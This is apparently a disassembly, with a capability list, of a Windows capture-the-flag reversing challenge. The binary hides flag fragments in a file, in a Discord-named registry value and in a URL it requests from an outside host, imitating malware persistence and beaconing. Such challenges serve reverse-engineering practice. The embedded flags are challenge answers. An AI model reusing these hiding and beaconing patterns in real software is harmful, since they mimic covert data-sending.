Function at 0x401550
Capabilities:
Check internet connectivity via wininet
Create process on windows
Query environment variable
Set registry value

Disassembly:
push rbp
sub rsp, 0x610
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, str.01___flagJack
mov qword [rbp + 0x588], rax
lea rax, str._Torrance_thought:
mov qword [rbp + 0x580], rax
lea rax, str._Officious_little_prick
mov qword [rbp + 0x578], rax
mov rax, qword [rbp + 0x588]
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x580]
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x568], rax
mov rax, qword [rbp + 0x578]
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x560], rax
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x568]
add rdx, rax
mov rax, qword [rbp + 0x560]
add rax, rdx
add rax, 1
mov qword [rbp + 0x558], rax
mov rax, qword [rbp + 0x558]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x550], rax
lea rcx, str.You_wanted_this_to_be_easy_
call sym.puts
lea rcx, str.USERPROFILE
call sym.getenv
mov qword [rbp + 0x548], rax
lea rax, str._flag.txt
mov qword [rbp + 0x540], rax
mov rax, qword [rbp + 0x548]
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x538], rax
mov rax, qword [rbp + 0x540]
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x530], rax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x530]
add rax, rdx
add rax, 1
mov qword [rbp + 0x528], rax
mov rax, qword [rbp + 0x528]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x520], rax
lea rax, str.lfaGV
mov qword [rbp + 0x518], rax
lea rax, str.50X3Rv
mov qword [rbp + 0x510], rax
lea rax, str.BmbGFn
mov qword [rbp + 0x508], rax
lea rax, [0x00405081]
mov qword [rbp + 0x500], rax
lea rax, str.9u4oCZ
mov qword [rbp + 0x4f8], rax
lea rax, str.dF93YW
mov qword [rbp + 0x4f0], rax
lea rax, str.e0lfZG
mov qword [rbp + 0x4e8], rax
lea rax, str.X3N0YX
mov qword [rbp + 0x4e0], rax
lea rax, str.yZX0
mov qword [rbp + 0x4d8], rax
lea rax, str.MDIgLS
mov qword [rbp + 0x4d0], rax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x520]
mov rcx, rax
call sym.strcpy
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x520]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x4d0]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x508]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x4e8]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x4f8]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x4f0]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x510]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x4e0]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x518]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x4d8]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x500]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x520]
lea rdx, [0x004050ab]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x4c8], rax
lea rax, [rbp + 0x320]
mov rcx, qword [rbp + 0x4c8]
mov rdx, rax
call sym.fprintf
mov rax, qword [rbp + 0x4c8]
mov rcx, rax
call sym.fclose
lea rax, str.SOFTWAREDiscord
mov qword [rbp + 0x4c0], rax
mov rdx, qword [rbp + 0x4c0]
lea rax, [rbp + 0x318]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 0
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
cdqe
mov qword [rbp + 0x4b8], rax
lea rax, str.Discord
mov qword [rbp + 0x4b0], rax
lea rax, str.Moreau
mov qword [rbp + 0x4a8], rax
mov rcx, qword [rbp + 0x318]
mov rdx, qword [rbp + 0x4a8]
lea rax, [rbp + 0x30c]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x310]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call rax
cdqe
mov qword [rbp + 0x4a0], rax
lea rax, str.Vivisect
mov qword [rbp + 0x498], rax
lea rax, [rbp + 0x1f0]
lea rdx, str.48_51_32_45_32_102_108_97_103_123_73_95_100_111_95_110_111_116_95_112_114_111_112_111_115_101_95_116_111_95_97_100_100_95_97_110_121_116_104_105_110_103_95_116_111_95_119_104_97_116_95_104_97_115_95_97_108_114_101_97_100_121_95_98_101_101_110_95_119_114_105_116_116_101_110_125
mov ecx, 0x116
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.strlen
add eax, 1
mov rcx, qword [rbp + 0x310]
mov rdx, qword [rbp + 0x498]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 0
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp + 0x494], eax
mov rax, qword [rbp + 0x318]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, str._2b_62
mov qword [rbp + 0x488], rax
lea rax, str._32_72
mov qword [rbp + 0x480], rax
lea rax, str._45_22
mov qword [rbp + 0x478], rax
lea rax, str._49_64
mov qword [rbp + 0x470], rax
lea rax, str._35_46
mov qword [rbp + 0x468], rax
lea rax, str._49_39
mov qword [rbp + 0x460], rax
lea rax, str._49_62
mov qword [rbp + 0x458], rax
lea rax, str._2b_61
mov qword [rbp + 0x450], rax
lea rax, str._49_60
mov qword [rbp + 0x448], rax
lea rax, str._35_44
mov qword [rbp + 0x440], rax
lea rax, str._23_40
mov qword [rbp + 0x438], rax
lea rax, str._32_72
mov qword [rbp + 0x430], rax
lea rax, str._22_62
mov qword [rbp + 0x428], rax
lea rax, str._35_39
mov qword [rbp + 0x420], rax
lea rax, str._2b_40
mov qword [rbp + 0x418], rax
lea rax, str._33_3f
mov qword [rbp + 0x410], rax
lea rax, str._32_27
mov qword [rbp + 0x408], rax
lea rax, str._2b_28
mov qword [rbp + 0x400], rax
lea rax, str._2b_3e
mov qword [rbp + 0x3f8], rax
lea rax, str._2b_61
mov qword [rbp + 0x3f0], rax
lea rax, str._79_61
mov qword [rbp + 0x3e8], rax
lea rax, str._79_61
mov qword [rbp + 0x3e0], rax
lea rax, str._35_76
mov qword [rbp + 0x3d8], rax
lea rax, str._5f_6c
mov qword [rbp + 0x3d0], rax
lea rax, str._64_39
mov qword [rbp + 0x3c8], rax
lea rax, str._68_45
mov qword [rbp + 0x3c0], rax
lea rax, str._2b_3e
mov qword [rbp + 0x3b8], rax
lea rax, str._35_28
mov qword [rbp + 0x3b0], rax
lea rax, str._49_40
mov qword [rbp + 0x3a8], rax
lea rax, str._35_27
mov qword [rbp + 0x3a0], rax
lea rax, str._64_37
mov qword [rbp + 0x398], rax
lea rax, str._68_24
mov qword [rbp + 0x390], rax
lea rax, str._39_37
mov qword [rbp + 0x388], rax
lea rax, str._35_46
mov qword [rbp + 0x380], rax
lea rax, str._2a_28
mov qword [rbp + 0x378], rax
lea rax, str._35_61
mov qword [rbp + 0x370], rax
lea rax, str._29_61
mov qword [rbp + 0x368], rax
lea rax, str._75_3f
mov qword [rbp + 0x360], rax
mov rdx, qword [rbp + 0x3f8]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x460]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x488]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x478]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x430]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x468]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x450]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x448]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x408]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x3c0]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x3f0]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x458]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x3e0]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x3c8]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x3b8]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x398]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x428]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x438]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x3b0]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x3a8]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x3a0]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x390]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x3e8]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x470]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x400]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x388]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x370]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x420]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x480]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x380]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x378]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x440]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x368]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x418]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x3d8]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x360]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x410]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x3d0]
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.strcat
lea rax, str.https:__www.totallynothackers.org
mov qword [rbp + 0x358], rax
mov rdx, qword [rbp + 0x358]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strcpy
lea rdx, [rbp + 0xe0]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x358]
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCheckConnectionA]
call rax
test eax, eax
je 0x401f95
lea rax, [rbp - 0x30]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0xffffffff
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
mov eax, 0
jmp 0x401fcd
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.https:__www.youtube.com_watch_vWPUJG2jTw9s
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov eax, 1
add rsp, 0x610
pop rbp
ret